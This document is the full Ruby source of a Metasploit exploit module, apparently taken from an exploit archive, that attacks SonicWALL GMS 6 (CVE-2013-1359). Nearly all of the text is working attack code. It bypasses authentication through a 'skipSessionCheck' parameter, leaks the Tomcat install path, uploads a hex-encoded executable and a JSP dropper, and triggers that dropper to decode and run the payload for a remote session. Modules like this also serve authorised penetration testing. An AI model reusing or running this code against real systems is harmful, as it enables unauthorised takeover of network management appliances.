SonicWALL Gms 6 – Arbitrary File Upload (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'SonicWALL GMS 6 Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in SonicWALL GMS. It exploits two vulnerabilities in order to get its objective. An authentication bypass in the Web Administration interface allows to abuse the "appliance" application and upload an arbitrary payload embedded in a JSP. The module has been tested successfully on SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 6.0.6022 Virtual Appliance (Linux). On the Virtual Appliance the linux meterpreter hasn't run successfully while testing, shell payload have been used. }, 'Author' => [ 'Nikolas Sotiriu', # Vulnerability Discovery 'Julian Vilas <julian.vilas[at]gmail.com>', # Metasploit module 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-1359'], [ 'OSVDB', '89347' ], [ 'BID', '57445' ], [ 'EDB', '24204' ] ], 'Privileged' => true, 'Platform' => [ 'win', 'linux' ], 'Targets' => [ [ 'SonicWALL GMS 6.0 Viewpoint / Windows 2003 SP2', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'SonicWALL GMS Viewpoint 6.0 Virtual Appliance (Linux)', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 17 2012')) register_options( [ Opt::RPORT(80), OptString.new('TARGETURI', [true, 'Path to SonicWall GMS', '/']) ], self.class) end def on_new_session # on_new_session will force stdapi to load (for Linux meterpreter) end def generate_jsp var_hexpath = Rex::Text.rand_text_alpha(rand(8)+8) var_exepath = Rex::Text.rand_text_alpha(rand(8)+8) var_data = Rex::Text.rand_text_alpha(rand(8)+8) var_inputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_outputstream = Rex::Text.rand_text_alpha(rand(8)+8) var_numbytes = Rex::Text.rand_text_alpha(rand(8)+8) var_bytearray = Rex::Text.rand_text_alpha(rand(8)+8) var_bytes = Rex::Text.rand_text_alpha(rand(8)+8) var_counter = Rex::Text.rand_text_alpha(rand(8)+8) var_char1 = Rex::Text.rand_text_alpha(rand(8)+8) var_char2 = Rex::Text.rand_text_alpha(rand(8)+8) var_comb = Rex::Text.rand_text_alpha(rand(8)+8) var_exe = Rex::Text.rand_text_alpha(rand(8)+8) @var_hexfile = Rex::Text.rand_text_alpha(rand(8)+8) var_proc = Rex::Text.rand_text_alpha(rand(8)+8) var_fperm = Rex::Text.rand_text_alpha(rand(8)+8) var_fdel = Rex::Text.rand_text_alpha(rand(8)+8) jspraw = "<%@ page import=\"java.io.*\" %>\n" jspraw << "<%\n" jspraw << "String #{var_hexpath} = application.getRealPath(\"/\") + \"/#{@var_hexfile}.txt\";\n" jspraw << "String #{var_exepath} = System.getProperty(\"java.io.tmpdir\") + \"/#{var_exe}\";\n" jspraw << "String #{var_data} = \"\";\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") != -1){\n" jspraw << "#{var_exepath} = #{var_exepath}.concat(\".exe\");\n" jspraw << "}\n" jspraw << "FileInputStream #{var_inputstream} = new FileInputStream(#{var_hexpath});\n" jspraw << "FileOutputStream #{var_outputstream} = new FileOutputStream(#{var_exepath});\n" jspraw << "int #{var_numbytes} = #{var_inputstream}.available();\n" jspraw << "byte #{var_bytearray}[] = new byte[#{var_numbytes}];\n" jspraw << "#{var_inputstream}.read(#{var_bytearray});\n" jspraw << "#{var_inputstream}.close();\n" jspraw << "byte[] #{var_bytes} = new byte[#{var_numbytes}/2];\n" jspraw << "for (int #{var_counter} = 0; #{var_counter} < #{var_numbytes}; #{var_counter} += 2)\n" jspraw << "{\n" jspraw << "char #{var_char1} = (char) #{var_bytearray}[#{var_counter}];\n" jspraw << "char #{var_char2} = (char) #{var_bytearray}[#{var_counter} + 1];\n" jspraw << "int #{var_comb} = Character.digit(#{var_char1}, 16) & 0xff;\n" jspraw << "#{var_comb} <<= 4;\n" jspraw << "#{var_comb} += Character.digit(#{var_char2}, 16) & 0xff;\n" jspraw << "#{var_bytes}[#{var_counter}/2] = (byte)#{var_comb};\n" jspraw << "}\n" jspraw << "#{var_outputstream}.write(#{var_bytes});\n" jspraw << "#{var_outputstream}.close();\n" jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n" jspraw << "String[] #{var_fperm} = new String[3];\n" jspraw << "#{var_fperm}[0] = \"chmod\";\n" jspraw << "#{var_fperm}[1] = \"+x\";\n" jspraw << "#{var_fperm}[2] = #{var_exepath};\n" jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n" jspraw << "if (#{var_proc}.waitFor() == 0) {\n" jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" # Linux and other UNICES allow removing files while they are in use... jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n" jspraw << "} else {\n" # Windows does not .. jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n" jspraw << "}\n" jspraw << "%>\n" return jspraw end def get_install_path res = send_request_cgi( { 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", 'method' => 'POST', 'connection' => 'TE, close', 'headers' => { 'TE' => "deflate,gzip;q=0.3", }, 'vars_post' => { 'num' => '123456', 'action' => 'show_diagnostics', 'task' => 'search', 'item' => 'application_log', 'criteria' => '*.*', 'width' => '500' } }) if res and res.code == 200 and res.body =~ /VALUE="(.*)logs/ return $1 end return nil end def upload_file(location, filename, contents) post_data = Rex::MIME::Message.new post_data.add_part("file_system", nil, nil, "form-data; name=\"action\"") post_data.add_part("uploadFile", nil, nil, "form-data; name=\"task\"") post_data.add_part(location, nil, nil, "form-data; name=\"searchFolder\"") post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFilename\"; filename=\"#{filename}\"") data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi( { 'uri' => "#{@uri}appliance/applianceMainPage?skipSessionCheck=1", 'method' => 'POST', 'data' => data, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'headers' => { 'TE' => "deflate,gzip;q=0.3", }, 'connection' => 'TE, close' }) if res and res.code == 200 and res.body.empty? return true else return false end end def check @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) @uri << '/' if @uri[-1,1] != '/' if get_install_path.nil? return Exploit::CheckCode::Safe end return Exploit::CheckCode::Vulnerable end def exploit @peer = "#{rhost}:#{rport}" @uri = normalize_uri(target_uri.path) @uri << '/' if @uri[-1,1] != '/' # Get Tomcat installation path print_status("#{@peer} - Retrieving Tomcat installation path...") install_path = get_install_path if install_path.nil? fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Unable to retrieve the Tomcat installation path") end print_good("#{@peer} - Tomcat installed on #{install_path}") if target['Platform'] == "linux" @location = "#{install_path}webapps/appliance/" elsif target['Platform'] == "win" @location = "#{install_path}webapps\\appliance\\" end # Upload the JSP and the raw payload @jsp_name = rand_text_alphanumeric(8+rand(8)) jspraw = generate_jsp # Specify the payload in hex as an extra file.. payload_hex = payload.encoded_exe.unpack('H*')[0] print_status("#{@peer} - Uploading the payload") if upload_file(@location, "#{@var_hexfile}.txt", payload_hex) print_good("#{@peer} - Payload successfully uploaded to #{@location}#{@var_hexfile}.txt") else fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the Payload") end print_status("#{@peer} - Uploading the payload") if upload_file(@location, "#{@jsp_name}.jsp", jspraw) print_good("#{@peer} - JSP successfully uploaded to #{@location}#{@jsp_name}.jsp") else fail_with(Exploit::Failure::NotVulnerable, "#{@peer} - Error uploading the jsp") end print_status("Triggering payload at '#{@uri}#{@jsp_name}.jsp' ...") res = send_request_cgi( { 'uri' => "#{@uri}appliance/#{@jsp_name}.jsp", 'method' => 'GET' }) if res and res.code != 200 print_warning("#{@peer} - Error triggering the payload") end register_files_for_cleanup("#{@location}#{@var_hexfile}.txt") register_files_for_cleanup("#{@location}#{@jsp_name}.jsp") end end |